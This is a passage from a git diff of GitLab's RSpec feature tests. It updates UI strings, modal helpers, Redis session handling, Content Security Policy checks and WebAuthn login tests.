click_button(class: 'dropdown-toggle-split')
end
it 'user sees an add cluster button' do
- expect(page).to have_content('Connect with certificate')
+ expect(page).to have_content('Connect with a certificate')
end
context 'when user filled form with environment scope' do
before do
- click_link 'Connect with certificate'
+ click_link 'Connect with a certificate'
fill_in 'cluster_name', with: 'staging-cluster'
fill_in 'cluster_environment_scope', with: 'staging/*'
click_button 'Add Kubernetes cluster'
@@ -72,7 +72,7 @@ RSpec.describe 'Clusters', :js do
context 'when user updates duplicated environment scope' do
before do
- click_link 'Connect with certificate'
+ click_link 'Connect with a certificate'
fill_in 'cluster_name', with: 'staging-cluster'
fill_in 'cluster_environment_scope', with: '*'
fill_in 'cluster_platform_kubernetes_attributes_api_url', with: 'https://0.0.0.0'
@@ -109,13 +109,13 @@ RSpec.describe 'Clusters', :js do
create(:cluster, :provided_by_gcp, name: 'default-cluster', environment_scope: '*', projects: [project])
visit project_clusters_path(project)
- click_link 'Certificate based'
+ click_link 'Certificate'
end
context 'when user filled form with environment scope' do
before do
click_button(class: 'dropdown-toggle-split')
- click_link 'Create new cluster'
+ click_link 'Create a new cluster'
click_link 'Google GKE'
sleep 2 # wait for ajax
@@ -160,7 +160,7 @@ RSpec.describe 'Clusters', :js do
context 'when user updates duplicated environment scope' do
before do
click_button(class: 'dropdown-toggle-split')
- click_link 'Create new cluster'
+ click_link 'Create a new cluster'
click_link 'Google GKE'
sleep 2 # wait for ajax
@@ -190,7 +190,7 @@ RSpec.describe 'Clusters', :js do
before do
visit project_clusters_path(project)
- click_link 'Certificate based'
+ click_link 'Certificate'
end
it 'user sees a table with one cluster' do
@@ -213,7 +213,7 @@ RSpec.describe 'Clusters', :js do
before do
visit project_clusters_path(project)
- click_link 'Certificate based'
+ click_link 'Certificate'
click_link 'Connect with a certificate'
click_link 'Create new cluster'
end
diff --git a/spec/features/projects/container_registry_spec.rb b/spec/features/projects/container_registry_spec.rb
index eec50c3a66a..4ebcb69592b 100644
--- a/spec/features/projects/container_registry_spec.rb
+++ b/spec/features/projects/container_registry_spec.rb
@@ -87,7 +87,7 @@ RSpec.describe 'Container Registry', :js do
end
it 'shows the image tags' do
- expect(page).to have_content 'Image tags'
+ expect(page).to have_content '20 tags'
first_tag = first('[data-testid="name"]')
expect(first_tag).to have_content '1'
end
diff --git a/spec/features/projects/files/user_creates_files_spec.rb b/spec/features/projects/files/user_creates_files_spec.rb
index fd83547d064..7159418deda 100644
--- a/spec/features/projects/files/user_creates_files_spec.rb
+++ b/spec/features/projects/files/user_creates_files_spec.rb
@@ -170,7 +170,7 @@ RSpec.describe 'Projects > Files > User creates files', :js do
end
it 'shows a message saying the file will be committed in a fork' do
- message = "A new branch will be created in your fork and a new merge request will be started."
+ message = "GitLab will create a branch in your fork and start a merge request."
expect(page).to have_content(message)
end
diff --git a/spec/features/projects/fork_spec.rb b/spec/features/projects/fork_spec.rb
index 69e4303cce7..f9a6b67e469 100644
--- a/spec/features/projects/fork_spec.rb
+++ b/spec/features/projects/fork_spec.rb
@@ -59,10 +59,11 @@ RSpec.describe 'Project fork' do
context 'forking is disabled' do
let(:forking_access_level) { ProjectFeature::DISABLED }
- it 'does not render fork button' do
+ it 'render a disabled fork button' do
visit project_path(project)
- expect(page).not_to have_css('a', text: 'Fork')
+ expect(page).to have_css('a.disabled', text: 'Fork')
+ expect(page).to have_css('a.count', text: '0')
end
it 'does not render new project fork page' do
@@ -80,10 +81,11 @@ RSpec.describe 'Project fork' do
end
context 'user is not a team member' do
- it 'does not render fork button' do
+ it 'render a disabled fork button' do
visit project_path(project)
- expect(page).not_to have_css('a', text: 'Fork')
+ expect(page).to have_css('a.disabled', text: 'Fork')
+ expect(page).to have_css('a.count', text: '0')
end
it 'does not render new project fork page' do
@@ -102,6 +104,7 @@ RSpec.describe 'Project fork' do
visit project_path(project)
expect(page).to have_css('a', text: 'Fork')
+ expect(page).to have_css('a.count', text: '0')
expect(page).not_to have_css('a.disabled', text: 'Fork')
end
diff --git a/spec/features/projects/integrations/user_activates_jira_spec.rb b/spec/features/projects/integrations/user_activates_jira_spec.rb
index d7679d38cae..7a035248440 100644
--- a/spec/features/projects/integrations/user_activates_jira_spec.rb
+++ b/spec/features/projects/integrations/user_activates_jira_spec.rb
@@ -26,8 +26,7 @@ RSpec.describe 'User activates Jira', :js do
unless Gitlab.ee?
it 'adds Jira link to sidebar menu' do
page.within('.nav-sidebar') do
- expect(page).not_to have_link('Jira Issues')
- expect(page).not_to have_link('Issue List', visible: false)
+ expect(page).not_to have_link('Jira issues', visible: false)
expect(page).not_to have_link('Open Jira', href: url, visible: false)
expect(page).to have_link('Jira', href: url)
end
diff --git a/spec/features/projects/issues/design_management/user_uploads_designs_spec.rb b/spec/features/projects/issues/design_management/user_uploads_designs_spec.rb
index bfa7be5bb5c..211576a93f3 100644
--- a/spec/features/projects/issues/design_management/user_uploads_designs_spec.rb
+++ b/spec/features/projects/issues/design_management/user_uploads_designs_spec.rb
@@ -10,6 +10,9 @@ RSpec.describe 'User uploads new design', :js do
let(:issue) { create(:issue, project: project) }
before do
+ # Cause of raising query limiting threshold https://gitlab.com/gitlab-org/gitlab/-/issues/347334
+ stub_const("Gitlab::QueryLimiting::Transaction::THRESHOLD", 102)
+
sign_in(user)
enable_design_management(feature_enabled)
visit project_issue_path(project, issue)
@@ -27,10 +30,10 @@ RSpec.describe 'User uploads new design', :js do
expect(page).to have_content('dk.png')
end
- upload_design(gif_fixture, count: 2)
+ upload_design([gif_fixture, logo_svg_fixture, big_image_fixture], count: 4)
- expect(page).to have_selector('.js-design-list-item', count: 2)
- expect(page.all('.js-design-list-item').map(&:text)).to eq(['dk.png', 'banana_sample.gif'])
+ expect(page).to have_selector('.js-design-list-item', count: 4)
+ expect(page.all('.js-design-list-item').map(&:text)).to eq(['dk.png', 'banana_sample.gif', 'logo_sample.svg', 'big-image.png'])
end
end
@@ -50,8 +53,16 @@ RSpec.describe 'User uploads new design', :js do
Rails.root.join('spec', 'fixtures', 'banana_sample.gif')
end
- def upload_design(fixture, count:)
- attach_file(:upload_file, fixture, match: :first, make_visible: true)
+ def logo_svg_fixture
+ Rails.root.join('spec', 'fixtures', 'logo_sample.svg')
+ end
+
+ def big_image_fixture
+ Rails.root.join('spec', 'fixtures', 'big-image.png')
+ end
+
+ def upload_design(fixtures, count:)
+ attach_file(:upload_file, fixtures, multiple: true, match: :first, make_visible: true)
wait_for('designs uploaded') do
issue.reload.designs.count == count
diff --git a/spec/features/projects/jobs/user_browses_jobs_spec.rb b/spec/features/projects/jobs/user_browses_jobs_spec.rb
index 8538b894869..a47aab1ec70 100644
--- a/spec/features/projects/jobs/user_browses_jobs_spec.rb
+++ b/spec/features/projects/jobs/user_browses_jobs_spec.rb
@@ -181,7 +181,7 @@ RSpec.describe 'User browses jobs' do
name: 'rspec tests',
stage: 'test')
- create(:ci_job_artifact, :codequality, job: build)
+ create(:ci_job_artifact, :archive, job: build)
end
before do
diff --git a/spec/features/projects/labels/issues_sorted_by_priority_spec.rb b/spec/features/projects/labels/issues_sorted_by_priority_spec.rb
index 4a25e28a14e..91a30004fc3 100644
--- a/spec/features/projects/labels/issues_sorted_by_priority_spec.rb
+++ b/spec/features/projects/labels/issues_sorted_by_priority_spec.rb
@@ -80,7 +80,7 @@ RSpec.describe 'Issue prioritization' do
expect(issue_titles[0..1]).to contain_exactly('issue_5', 'issue_8')
expect(issue_titles[2..4]).to contain_exactly('issue_1', 'issue_3', 'issue_7')
- expect(issue_titles[5..-1]).to eq(%w(issue_2 issue_4 issue_6))
+ expect(issue_titles[5..]).to eq(%w(issue_2 issue_4 issue_6))
end
end
end
diff --git a/spec/features/projects/members/groups_with_access_list_spec.rb b/spec/features/projects/members/groups_with_access_list_spec.rb
index eb32570448b..6adc3503492 100644
--- a/spec/features/projects/members/groups_with_access_list_spec.rb
+++ b/spec/features/projects/members/groups_with_access_list_spec.rb
@@ -4,6 +4,7 @@ require 'spec_helper'
RSpec.describe 'Projects > Members > Groups with access list', :js do
include Spec::Support::Helpers::Features::MembersHelpers
+ include Spec::Support::Helpers::ModalHelpers
let_it_be(:user) { create(:user) }
let_it_be(:group) { create(:group, :public) }
@@ -70,7 +71,7 @@ RSpec.describe 'Projects > Members > Groups with access list', :js do
click_button 'Remove group'
end
- page.within('[role="dialog"]') do
+ within_modal do
click_button('Remove group')
end
diff --git a/spec/features/projects/members/list_spec.rb b/spec/features/projects/members/list_spec.rb
index 308098c72a1..f2424a4acc3 100644
--- a/spec/features/projects/members/list_spec.rb
+++ b/spec/features/projects/members/list_spec.rb
@@ -5,6 +5,7 @@ require 'spec_helper'
RSpec.describe 'Project members list', :js do
include Spec::Support::Helpers::Features::MembersHelpers
include Spec::Support::Helpers::Features::InviteMembersModalHelper
+ include Spec::Support::Helpers::ModalHelpers
let_it_be(:user1) { create(:user, name: 'John Doe') }
let_it_be(:user2) { create(:user, name: 'Mary Jane') }
@@ -93,7 +94,7 @@ RSpec.describe 'Project members list', :js do
click_button 'Remove member'
end
- page.within('[role="dialog"]') do
+ within_modal do
expect(page).to have_unchecked_field 'Also unassign this user from related issues and merge requests'
click_button('Remove member')
end
diff --git a/spec/features/projects/milestones/milestone_spec.rb b/spec/features/projects/milestones/milestone_spec.rb
index 9ffb1746f3e..6bd139c0ebe 100644
--- a/spec/features/projects/milestones/milestone_spec.rb
+++ b/spec/features/projects/milestones/milestone_spec.rb
@@ -2,10 +2,11 @@
require 'spec_helper'
-RSpec.describe 'Project milestone' do
+RSpec.describe 'Project milestone', :js do
let(:user) { create(:user) }
let(:project) { create(:project, name: 'test', namespace: user.namespace) }
let(:milestone) { create(:milestone, project: project) }
+ let(:active_tab_selector) { '[role="tab"][aria-selected="true"]' }
def toggle_sidebar
find('.milestone-sidebar .gutter-toggle').click
@@ -31,8 +32,9 @@ RSpec.describe 'Project milestone' do
it 'shows issues tab' do
within('#content-body') do
expect(page).to have_link 'Issues', href: '#tab-issues'
- expect(page).to have_selector '.nav-links li a.active', count: 1
- expect(find('.nav-links li a.active')).to have_content 'Issues'
+ expect(page).to have_selector active_tab_selector, count: 1
+ expect(find(active_tab_selector)).to have_content 'Issues'
+ expect(page).to have_text('Unstarted Issues')
end
end
@@ -49,6 +51,35 @@ RSpec.describe 'Project milestone' do
end
end
+ context 'when clicking on other tabs' do
+ using RSpec::Parameterized::TableSyntax
+
+ where(:tab_text, :href, :panel_content) do
+ 'Merge requests' | '#tab-merge-requests' | 'Work in progress'
+ 'Participants' | '#tab-participants' | nil
+ 'Labels' | '#tab-labels' | nil
+ end
+
+ with_them do
+ before do
+ visit project_milestone_path(project, milestone)
+ click_link(tab_text, href: href)
+ end
+
+ it 'shows the merge requests tab and panel' do
+ within('#content-body') do
+ expect(find(active_tab_selector)).to have_content tab_text
+ expect(find(href)).to be_visible
+ expect(page).to have_text(panel_content) if panel_content
+ end
+ end
+
+ it 'sets the location hash' do
+ expect(current_url).to end_with(href)
+ end
+ end
+ end
+
context 'when project has disabled issues' do
before do
create(:issue, project: project, milestone: milestone)
@@ -59,7 +90,7 @@ RSpec.describe 'Project milestone' do
it 'does not show any issues under the issues tab' do
within('#content-body') do
- expect(find('.nav-links li a.active')).to have_content 'Issues'
+ expect(find(active_tab_selector)).to have_content 'Issues'
expect(page).not_to have_selector '.issuable-row'
end
end
diff --git a/spec/features/projects/pages/user_adds_domain_spec.rb b/spec/features/projects/pages/user_adds_domain_spec.rb
index 06f130ae69c..bd4cb1aa39b 100644
--- a/spec/features/projects/pages/user_adds_domain_spec.rb
+++ b/spec/features/projects/pages/user_adds_domain_spec.rb
@@ -177,11 +177,11 @@ RSpec.describe 'User adds pages domain', :js do
expect(domain.key).to be_nil
end
- it 'shows the DNS CNAME record' do
+ it 'shows the DNS ALIAS record' do
visit project_pages_path(project)
within('#content-body') { click_link 'Edit' }
- expect(page).to have_field :domain_dns, with: "#{domain.domain} CNAME #{domain.project.pages_subdomain}.#{Settings.pages.host}."
+ expect(page).to have_field :domain_dns, with: "#{domain.domain} ALIAS #{domain.project.pages_subdomain}.#{Settings.pages.host}."
end
end
end
diff --git a/spec/features/projects/pipeline_schedules_spec.rb b/spec/features/projects/pipeline_schedules_spec.rb
index 9df430c0f78..aae5ab58b5d 100644
--- a/spec/features/projects/pipeline_schedules_spec.rb
+++ b/spec/features/projects/pipeline_schedules_spec.rb
@@ -42,7 +42,7 @@ RSpec.describe 'Pipeline Schedules', :js do
click_link 'Take ownership'
page.within('.pipeline-schedule-table-row') do
expect(page).not_to have_content('No owner')
- expect(page).to have_link('John Doe')
+ expect(page).to have_link('Sidney Jones')
end
end
diff --git a/spec/features/projects/pipelines/pipeline_spec.rb b/spec/features/projects/pipelines/pipeline_spec.rb
index 944cee2a998..6ddc8e43762 100644
--- a/spec/features/projects/pipelines/pipeline_spec.rb
+++ b/spec/features/projects/pipelines/pipeline_spec.rb
@@ -53,6 +53,7 @@ RSpec.describe 'Pipeline', :js do
pipeline: pipeline,
name: 'jenkins',
stage: 'external',
+ ref: 'master',
target_url: 'http://gitlab.com/status')
end
end
@@ -915,7 +916,7 @@ RSpec.describe 'Pipeline', :js do
end
end
- describe 'GET /:project/-/pipelines/:id/builds' do
+ describe 'GET /:project/-/pipelines/:id/builds with jobs_tab_vue feature flag turned off' do
include_context 'pipeline builds'
let_it_be(:project) { create(:project, :repository) }
@@ -923,6 +924,7 @@ RSpec.describe 'Pipeline', :js do
let(:pipeline) { create(:ci_pipeline, project: project, ref: 'master', sha: project.commit.id) }
before do
+ stub_feature_flags(jobs_tab_vue: false)
visit builds_project_pipeline_path(project, pipeline)
end
diff --git a/spec/features/projects/pipelines/pipelines_spec.rb b/spec/features/projects/pipelines/pipelines_spec.rb
index e38c4989f26..fb45db213d0 100644
--- a/spec/features/projects/pipelines/pipelines_spec.rb
+++ b/spec/features/projects/pipelines/pipelines_spec.rb
@@ -625,7 +625,7 @@ RSpec.describe 'Pipelines', :js do
create_build('test', 1, 'audit', :created)
create_build('deploy', 2, 'production', :created)
- create(:generic_commit_status, pipeline: pipeline, stage: 'external', name: 'jenkins', stage_idx: 3)
+ create(:generic_commit_status, pipeline: pipeline, stage: 'external', name: 'jenkins', stage_idx: 3, ref: 'master')
visit project_pipeline_path(project, pipeline)
wait_for_requests
diff --git a/spec/features/projects/settings/forked_project_settings_spec.rb b/spec/features/projects/settings/forked_project_settings_spec.rb
index a84516e19f9..04fb6953b51 100644
--- a/spec/features/projects/settings/forked_project_settings_spec.rb
+++ b/spec/features/projects/settings/forked_project_settings_spec.rb
@@ -15,7 +15,7 @@ RSpec.describe 'Projects > Settings > For a forked project', :js do
end
shared_examples 'project settings for a forked projects' do
- it 'allows deleting the link to the forked project', quarantine: 'https://gitlab.com/gitlab-org/gitlab/-/issues/327817' do
+ it 'allows deleting the link to the forked project' do
visit edit_project_path(forked_project)
click_button 'Remove fork relationship'
diff --git a/spec/features/projects/settings/user_manages_project_members_spec.rb b/spec/features/projects/settings/user_manages_project_members_spec.rb
index 02a634a0fcc..31dc939e6b8 100644
--- a/spec/features/projects/settings/user_manages_project_members_spec.rb
+++ b/spec/features/projects/settings/user_manages_project_members_spec.rb
@@ -5,6 +5,7 @@ require 'spec_helper'
RSpec.describe 'Projects > Settings > User manages project members' do
include Spec::Support::Helpers::Features::MembersHelpers
include Select2Helper
+ include Spec::Support::Helpers::ModalHelpers
let(:group) { create(:group, name: 'OpenSource') }
let(:project) { create(:project) }
@@ -26,7 +27,7 @@ RSpec.describe 'Projects > Settings > User manages project members' do
click_button 'Remove member'
end
- page.within('[role="dialog"]') do
+ within_modal do
expect(page).to have_unchecked_field 'Also unassign this user from related issues and merge requests'
click_button('Remove member')
end
diff --git a/spec/features/projects/settings/user_transfers_a_project_spec.rb b/spec/features/projects/settings/user_transfers_a_project_spec.rb
index ba4c379ef0a..a88b9101869 100644
--- a/spec/features/projects/settings/user_transfers_a_project_spec.rb
+++ b/spec/features/projects/settings/user_transfers_a_project_spec.rb
@@ -8,6 +8,8 @@ RSpec.describe 'Projects > Settings > User transfers a project', :js do
let(:group) { create(:group) }
before do
+ stub_const('Gitlab::QueryLimiting::Transaction::THRESHOLD', 120)
+
group.add_owner(user)
sign_in(user)
end
@@ -16,10 +18,12 @@ RSpec.describe 'Projects > Settings > User transfers a project', :js do
visit edit_project_path(project)
page.within('.js-project-transfer-form') do
- page.find('.select2-container').click
+ page.find('[data-testid="transfer-project-namespace"]').click
end
- page.find("div[role='option']", text: group.full_name).click
+ page.within('[data-testid="transfer-project-namespace"]') do
+ page.find("li button", text: group.full_name).click
+ end
click_button('Transfer project')
diff --git a/spec/features/projects/sourcegraph_csp_spec.rb b/spec/features/projects/sourcegraph_csp_spec.rb
index 25d27462aa9..10dd050e8cc 100644
--- a/spec/features/projects/sourcegraph_csp_spec.rb
+++ b/spec/features/projects/sourcegraph_csp_spec.rb
@@ -13,7 +13,8 @@ RSpec.describe 'Sourcegraph Content Security Policy' do
end
it_behaves_like 'setting CSP', 'connect-src' do
- let_it_be(:whitelisted_url) { 'https://sourcegraph.test' }
+ let_it_be(:sourcegraph_url) { 'https://sourcegraph.test' }
+ let_it_be(:allowlisted_url) { "#{sourcegraph_url}/.api/" }
let_it_be(:extended_controller_class) { Projects::BlobController }
subject do
@@ -23,7 +24,7 @@ RSpec.describe 'Sourcegraph Content Security Policy' do
end
before do
- allow(Gitlab::CurrentSettings).to receive(:sourcegraph_url).and_return(whitelisted_url)
+ allow(Gitlab::CurrentSettings).to receive(:sourcegraph_url).and_return(sourcegraph_url)
allow(Gitlab::CurrentSettings).to receive(:sourcegraph_enabled).and_return(true)
sign_in(user)
diff --git a/spec/features/projects/tags/user_edits_tags_spec.rb b/spec/features/projects/tags/user_edits_tags_spec.rb
index 9f66b7274e8..17080043b6d 100644
--- a/spec/features/projects/tags/user_edits_tags_spec.rb
+++ b/spec/features/projects/tags/user_edits_tags_spec.rb
@@ -21,7 +21,8 @@ RSpec.describe 'Project > Tags', :js do
context 'page with tags list' do
it 'shows tag name' do
- expect(page).to have_content 'v1.1.0 Version 1.1.0'
+ expect(page).to have_content 'v1.1.0'
+ expect(page).to have_content 'Version 1.1.0'
end
it 'shows tag edit button' do
diff --git a/spec/features/projects/user_creates_project_spec.rb b/spec/features/projects/user_creates_project_spec.rb
index f5e8a5e8fc1..17c65e645f4 100644
--- a/spec/features/projects/user_creates_project_spec.rb
+++ b/spec/features/projects/user_creates_project_spec.rb
@@ -56,6 +56,31 @@ RSpec.describe 'User creates a project', :js do
expect(page).to have_content('README.md Initial commit')
end
+ it 'allows creating a new project when the new_project_sast_enabled is assigned the unchecked candidate' do
+ stub_experiments(new_project_sast_enabled: 'unchecked_candidate')
+
+ visit(new_project_path)
+
+ click_link 'Create blank project'
+ fill_in(:project_name, with: 'With initial commits')
+
+ expect(page).to have_checked_field 'Initialize repository with a README'
+ expect(page).to have_unchecked_field 'Enable Static Application Security Testing (SAST)'
+
+ check 'Enable Static Application Security Testing (SAST)'
+
+ page.within('#content-body') do
+ click_button('Create project')
+ end
+
+ project = Project.last
+
+ expect(current_path).to eq(project_path(project))
+ expect(page).to have_content('With initial commits')
+ expect(page).to have_content('Configure SAST in `.gitlab-ci.yml`, creating this file if it does not already exist')
+ expect(page).to have_content('README.md Initial commit')
+ end
+
context 'in a subgroup they do not own' do
let(:parent) { create(:group) }
let!(:subgroup) { create(:group, parent: parent) }
diff --git a/spec/features/search/user_searches_for_code_spec.rb b/spec/features/search/user_searches_for_code_spec.rb
index ef7af0ba138..c04a4493a9b 100644
--- a/spec/features/search/user_searches_for_code_spec.rb
+++ b/spec/features/search/user_searches_for_code_spec.rb
@@ -40,14 +40,24 @@ RSpec.describe 'User searches for code' do
include_examples 'top right search form'
include_examples 'search timeouts', 'blobs'
- it 'finds code' do
+ it 'finds code and links to blob' do
fill_in('dashboard_search', with: 'rspec')
find('.btn-search').click
expect(page).to have_selector('.results', text: 'Update capybara, rspec-rails, poltergeist to recent versions')
- find("#L3").click
- expect(current_url).to match(%r{master/.gitignore#L3})
+ find("#blob-L3").click
+ expect(current_url).to match(%r{blob/master/.gitignore#L3})
+ end
+
+ it 'finds code and links to blame' do
+ fill_in('dashboard_search', with: 'rspec')
+ find('.btn-search').click
+
+ expect(page).to have_selector('.results', text: 'Update capybara, rspec-rails, poltergeist to recent versions')
+
+ find("#blame-L3").click
+ expect(current_url).to match(%r{blame/master/.gitignore#L3})
end
it 'search mutiple words with refs switching' do
@@ -65,7 +75,8 @@ RSpec.describe 'User searches for code' do
expect(page).to have_selector('.results', text: expected_result)
expect(find_field('dashboard_search').value).to eq(search)
- expect(find("#L1502")[:href]).to match(%r{v1.0.0/files/markdown/ruby-style-guide.md#L1502})
+ expect(find("#blob-L1502")[:href]).to match(%r{blob/v1.0.0/files/markdown/ruby-style-guide.md#L1502})
+ expect(find("#blame-L1502")[:href]).to match(%r{blame/v1.0.0/files/markdown/ruby-style-guide.md#L1502})
end
end
diff --git a/spec/features/snippets/user_snippets_spec.rb b/spec/features/snippets/user_snippets_spec.rb
index fe39208213a..bb733431b22 100644
--- a/spec/features/snippets/user_snippets_spec.rb
+++ b/spec/features/snippets/user_snippets_spec.rb
@@ -20,7 +20,7 @@ RSpec.describe 'User Snippets' do
end
it 'view my public snippets' do
- page.within('.snippet-scope-menu') do
+ page.within('.js-snippets-nav-tabs') do
click_link "Public"
end
@@ -30,7 +30,7 @@ RSpec.describe 'User Snippets' do
end
it 'view my internal snippets' do
- page.within('.snippet-scope-menu') do
+ page.within('.js-snippets-nav-tabs') do
click_link "Internal"
end
@@ -40,7 +40,7 @@ RSpec.describe 'User Snippets' do
end
it 'view my private snippets' do
- page.within('.snippet-scope-menu') do
+ page.within('.js-snippets-nav-tabs') do
click_link "Private"
end
diff --git a/spec/features/users/active_sessions_spec.rb b/spec/features/users/active_sessions_spec.rb
index fab9f0884ae..6dc93fe017f 100644
--- a/spec/features/users/active_sessions_spec.rb
+++ b/spec/features/users/active_sessions_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe 'Active user sessions', :clean_gitlab_redis_shared_state do
+RSpec.describe 'Active user sessions', :clean_gitlab_redis_sessions do
it 'successful login adds a new active user login' do
now = Time.zone.parse('2018-03-12 09:06')
Timecop.freeze(now) do
@@ -29,13 +29,13 @@ RSpec.describe 'Active user sessions', :clean_gitlab_redis_shared_state do
it 'successful login cleans up obsolete entries' do
user = create(:user)
- Gitlab::Redis::SharedState.with do |redis|
+ Gitlab::Redis::Sessions.with do |redis|
redis.sadd("session:lookup:user:gitlab:#{user.id}", '59822c7d9fcdfa03725eff41782ad97d')
end
gitlab_sign_in(user)
- Gitlab::Redis::SharedState.with do |redis|
+ Gitlab::Redis::Sessions.with do |redis|
expect(redis.smembers("session:lookup:user:gitlab:#{user.id}")).not_to include '59822c7d9fcdfa03725eff41782ad97d'
end
end
@@ -44,14 +44,14 @@ RSpec.describe 'Active user sessions', :clean_gitlab_redis_shared_state do
user = create(:user)
personal_access_token = create(:personal_access_token, user: user)
- Gitlab::Redis::SharedState.with do |redis|
+ Gitlab::Redis::Sessions.with do |redis|
redis.sadd("session:lookup:user:gitlab:#{user.id}", '59822c7d9fcdfa03725eff41782ad97d')
end
visit user_path(user, :atom, private_token: personal_access_token.token)
expect(page.status_code).to eq 200
- Gitlab::Redis::SharedState.with do |redis|
+ Gitlab::Redis::Sessions.with do |redis|
expect(redis.smembers("session:lookup:user:gitlab:#{user.id}")).to include '59822c7d9fcdfa03725eff41782ad97d'
end
end
diff --git a/spec/features/users/login_spec.rb b/spec/features/users/login_spec.rb
index 66ebd00d368..7ef11194ff9 100644
--- a/spec/features/users/login_spec.rb
+++ b/spec/features/users/login_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe 'Login', :clean_gitlab_redis_shared_state do
+RSpec.describe 'Login', :clean_gitlab_redis_sessions do
include TermsHelper
include UserLoginHelper
include SessionHelpers
@@ -84,7 +84,7 @@ RSpec.describe 'Login', :clean_gitlab_redis_shared_state do
expect(page).to have_content('Your account has been blocked.')
end
- it 'does not update Devise trackable attributes', :clean_gitlab_redis_shared_state do
+ it 'does not update Devise trackable attributes' do
expect(authentication_metrics)
.to increment(:user_blocked_counter)
.and increment(:user_unauthenticated_counter)
@@ -161,7 +161,7 @@ RSpec.describe 'Login', :clean_gitlab_redis_shared_state do
expect(page).to have_content('Invalid login or password.')
end
- it 'does not update Devise trackable attributes', :clean_gitlab_redis_shared_state do
+ it 'does not update Devise trackable attributes' do
expect(authentication_metrics)
.to increment(:user_unauthenticated_counter)
.and increment(:user_password_invalid_counter)
diff --git a/spec/features/users/one_trust_csp_spec.rb b/spec/features/users/one_trust_csp_spec.rb
new file mode 100644
index 00000000000..382a0b4be6c
--- /dev/null
+++ b/spec/features/users/one_trust_csp_spec.rb
@@ -0,0 +1,17 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe 'OneTrust content security policy' do
+ let(:user) { create(:user) }
+
+ before do
+ stub_config(extra: { one_trust_id: SecureRandom.uuid })
+ end
+
+ it 'has proper Content Security Policy headers' do
+ visit root_path
+
+ expect(response_headers['Content-Security-Policy']).to include('https://cdn.cookielaw.org https://*.onetrust.com')
+ end
+end
diff --git a/spec/features/users/show_spec.rb b/spec/features/users/show_spec.rb
index 61672662fbe..8edbf639c81 100644
--- a/spec/features/users/show_spec.rb
+++ b/spec/features/users/show_spec.rb
@@ -207,34 +207,31 @@ RSpec.describe 'User page' do
state: :blocked,
organization: 'GitLab - work info test',
job_title: 'Frontend Engineer',
- pronunciation: 'pruh-nuhn-see-ay-shn'
+ pronunciation: 'pruh-nuhn-see-ay-shn',
+ bio: 'My personal bio'
)
end
let_it_be(:status) { create(:user_status, user: user, message: "Working hard!") }
- it 'shows no tab' do
- subject
+ before do
+ visit_profile
+ end
+ it 'shows no tab' do
expect(page).to have_css("div.profile-header")
expect(page).not_to have_css("ul.nav-links")
end
it 'shows blocked message' do
- subject
-
expect(page).to have_content("This user is blocked")
end
it 'shows user name as blocked' do
- subject
-
expect(page).to have_css(".cover-title", text: 'Blocked user')
end
it 'shows no additional fields' do
- subject
-
expect(page).not_to have_css(".profile-user-bio")
expect(page).not_to have_content('GitLab - work info test')
expect(page).not_to have_content('Frontend Engineer')
@@ -243,10 +240,10 @@ RSpec.describe 'User page' do
end
it 'shows username' do
- subject
-
expect(page).to have_content("@#{user.username}")
end
+
+ it_behaves_like 'default brand title page meta description'
end
context 'with unconfirmed user' do
@@ -256,7 +253,8 @@ RSpec.describe 'User page' do
:unconfirmed,
organization: 'GitLab - work info test',
job_title: 'Frontend Engineer',
- pronunciation: 'pruh-nuhn-see-ay-shn'
+ pronunciation: 'pruh-nuhn-see-ay-shn',
+ bio: 'My personal bio'
)
end
@@ -287,6 +285,8 @@ RSpec.describe 'User page' do
it 'shows private profile message' do
expect(page).to have_content("This user has a private profile")
end
+
+ it_behaves_like 'default brand title page meta description'
end
context 'when visited by an authenticated user' do
diff --git a/spec/features/webauthn_spec.rb b/spec/features/webauthn_spec.rb
index 4eebc9d2c1e..215d1ff1cb6 100644
--- a/spec/features/webauthn_spec.rb
+++ b/spec/features/webauthn_spec.rb
@@ -113,124 +113,94 @@ RSpec.describe 'Using WebAuthn Devices for Authentication', :js do
describe 'authentication' do
let(:otp_required_for_login) { true }
let(:user) { create(:user, webauthn_xid: WebAuthn.generate_user_id, otp_required_for_login: otp_required_for_login) }
+ let!(:webauthn_device) do
+ add_webauthn_device(app_id, user)
+ end
- describe 'when there is only an U2F device' do
- let!(:u2f_device) do
- fake_device = U2F::FakeU2F.new(app_id) # "Client"
- u2f = U2F::U2F.new(app_id) # "Server"
+ describe 'when 2FA via OTP is disabled' do
+ let(:otp_required_for_login) { false }
- challenges = u2f.registration_requests.map(&:challenge)
- device_response = fake_device.register_response(challenges[0])
- device_registration_params = { device_response: device_response,
- name: 'My device' }
+ it 'allows logging in with the WebAuthn device' do
+ gitlab_sign_in(user)
- U2fRegistration.register(user, app_id, device_registration_params, challenges)
- FakeU2fDevice.new(page, 'My device', fake_device)
- end
+ webauthn_device.respond_to_webauthn_authentication
- it 'falls back to U2F' do
- # WebAuthn registration is automatically created with the U2fRegistration because of the after_create callback
- # so we need to delete it
- WebauthnRegistration.delete_all
+ expect(page).to have_css('.sign-out-link', visible: false)
+ end
+ end
+ describe 'when 2FA via OTP is enabled' do
+ it 'allows logging in with the WebAuthn device' do
gitlab_sign_in(user)
- u2f_device.respond_to_u2f_authentication
+ webauthn_device.respond_to_webauthn_authentication
expect(page).to have_css('.sign-out-link', visible: false)
end
end
- describe 'when there is a WebAuthn device' do
- let!(:webauthn_device) do
- add_webauthn_device(app_id, user)
- end
+ describe 'when a given WebAuthn device has already been registered by another user' do
+ describe 'but not the current user' do
+ let(:other_user) { create(:user, webauthn_xid: WebAuthn.generate_user_id, otp_required_for_login: otp_required_for_login) }
- describe 'when 2FA via OTP is disabled' do
- let(:otp_required_for_login) { false }
+ it 'does not allow logging in with that particular device' do
+ # Register other user with a different WebAuthn device
+ other_device = add_webauthn_device(app_id, other_user)
- it 'allows logging in with the WebAuthn device' do
+ # Try authenticating user with the old WebAuthn device
gitlab_sign_in(user)
-
- webauthn_device.respond_to_webauthn_authentication
-
- expect(page).to have_css('.sign-out-link', visible: false)
+ other_device.respond_to_webauthn_authentication
+ expect(page).to have_content('Authentication via WebAuthn device failed')
end
end
- describe 'when 2FA via OTP is enabled' do
- it 'allows logging in with the WebAuthn device' do
- gitlab_sign_in(user)
-
+ describe "and also the current user" do
+ # TODO Uncomment once WebAuthn::FakeClient supports passing credential options
+ # (especially allow_credentials, as this is needed to specify which credential the
+ # fake client should use. Currently, the first credential is always used).
